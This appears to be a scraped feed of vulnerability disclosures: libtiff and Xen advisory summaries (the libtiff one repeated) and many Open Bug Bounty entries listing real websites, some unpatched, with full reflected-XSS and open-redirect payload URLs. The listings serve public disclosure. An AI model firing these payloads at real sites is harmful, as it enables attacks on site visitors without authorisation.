libtiff: out-of-bounds write in the tiff2rgba tool

Multiple integer overflows in the 1 cvtbystrip and 2 cvtbytile functions in the tiff2rgba tool in LibTIFF 4.0.6 and earlier, when -b mode is enabled, allow remote attackers to cause a denial of service crash or execute arbitrary code via a crafted TIFF image, which triggers an out-of-bounds write...

libtiff: out-of-bounds write in the tiff2rgba tool

Multiple integer overflows in the 1 cvtbystrip and 2 cvtbytile functions in the tiff2rgba tool in LibTIFF 4.0.6 and earlier, when -b mode is enabled, allow remote attackers to cause a denial of service crash or execute arbitrary code via a crafted TIFF image, which triggers an out-of-bounds write...

rzd.ru XSS vulnerability

Vulnerable URL: http://rzd.ru/subscr/public/ru/%22%3E%3Csvg%20onload=prompt%22OPENBUGBOUNTY%22%3E?STRUCTUREID=500 Details: Description| Value ---|--- Patched:| Yes, at 30.03.2017 Latest check for patch:| 30.03.2017 09:40 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

youboat.fr XSS vulnerability

Vulnerable URL: http://www.youboat.fr/categorie/bateaux?q=%3C/title%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 23:03 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

ema.ae XSS vulnerability

Vulnerable URL: http://ema.ae/society.php?page=6==16"=ScientificSocieties Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5922885 VIP website status:| No Check ema.ae SSL connection...

FreeBSD : xen-kernel -- x86: Privilege escalation in PV guests (032aa524-5854-11e6-b334-002590263bf5) (Bunker Buster)

The Xen Project reports : The PV pagetable code has fast-paths for making updates to pre-existing pagetable entries, to skip expensive re-validation in safe cases e.g. clearing only Access/Dirty bits. The bits considered safe were too broad, and not actually safe. A malicious PV guest administrat...

dtmu.ge XSS vulnerability

Vulnerable URL: http://www.dtmu.ge/index.php?Cat=2"⊂=11〈=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 9197650 VIP website status:| No Check dtmu.ge SSL connection:| Grade: B+...

berakgame.com XSS vulnerability

Vulnerable URL: http://www.berakgame.com/product.php?formsearch=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E%22=1=0=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

blogbvl.pe XSS vulnerability

Vulnerable URL: http://www.blogbvl.pe/busquedanube.php?Tag=desarrollo-personal" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6997855 VIP website status:| No Check blogbvl.pe SSL...

penzafond.ru XSS vulnerability

Vulnerable URL: https://penzafond.ru/700=%D0%9C%D0%B8%D1%81%D1%81+%D1%81%D1%82%D1%83%D0%B4%D0%B5%D0%BD%D1%87%D0%B5%D1%81%D1%82%D0%B2%D0%BE-2014%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 10.08.2016 Latest check for patch:| 10.08.20...

spark.uit.tufts.edu XSS vulnerability

Vulnerable URL: https://spark.uit.tufts.edu/toolList.jsp?toolName=videofoobar%27%3E%3Csvg%20onload=%27prompt%22OPENBUGBOUNTY%22%27%20foobar=%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

okotars.hu XSS vulnerability

Vulnerable URL: http://www.okotars.hu/2013/index.php?q=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2511551 VIP website status:| No Check okotars.hu SSL connection:| Grade: B+...

untref.edu.ar XSS vulnerability

Vulnerable URL: http://untref.edu.ar/diccionario/buscar.php?q==" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 357741 VIP website status:| No Check untref.edu.ar SSL connection:|...

myveget.com Open Redirect vulnerability

Vulnerable URL: http://myveget.com/go2.php?http://www.openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:51 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 2418557 VIP website...

universitaire.ch XSS vulnerability

Vulnerable URL: http://universitaire.ch/index.php?keyword=" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check universitaire.ch SSL connection:| Grade: B+...

edgefxkits.com XSS vulnerability

Vulnerable URL: http://www.edgefxkits.com/catalogsearch/result/?cat==%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

homeexchange50plus.com XSS vulnerability

Vulnerable URL: http://www.homeexchange50plus.com/quicksearchresults.php?pagestart=12%27%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E%22 Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 22:57 GMT Vulnerability type:| XSS...

ihrsa.org Open Redirect vulnerability

Vulnerable URL: http://www.ihrsa.org/process/RedirectN?url=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at 01.12.2016 Latest check for patch:| 01.12.2016 16:35 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 367758 V...

vert-marine.com XSS vulnerability

Vulnerable URL: http://www.vert-marine.com/piscine-des-senarts-91/recherche.php?recherche=%22%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E%3C%22 Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 22:57 GMT Vulnerability type:| XSS...

desiretoinspire.net Open Redirect vulnerability

Vulnerable URL: http://www.desiretoinspire.net/process/RedirectN?url=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at 01.12.2016 Latest check for patch:| 01.12.2016 17:58 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank...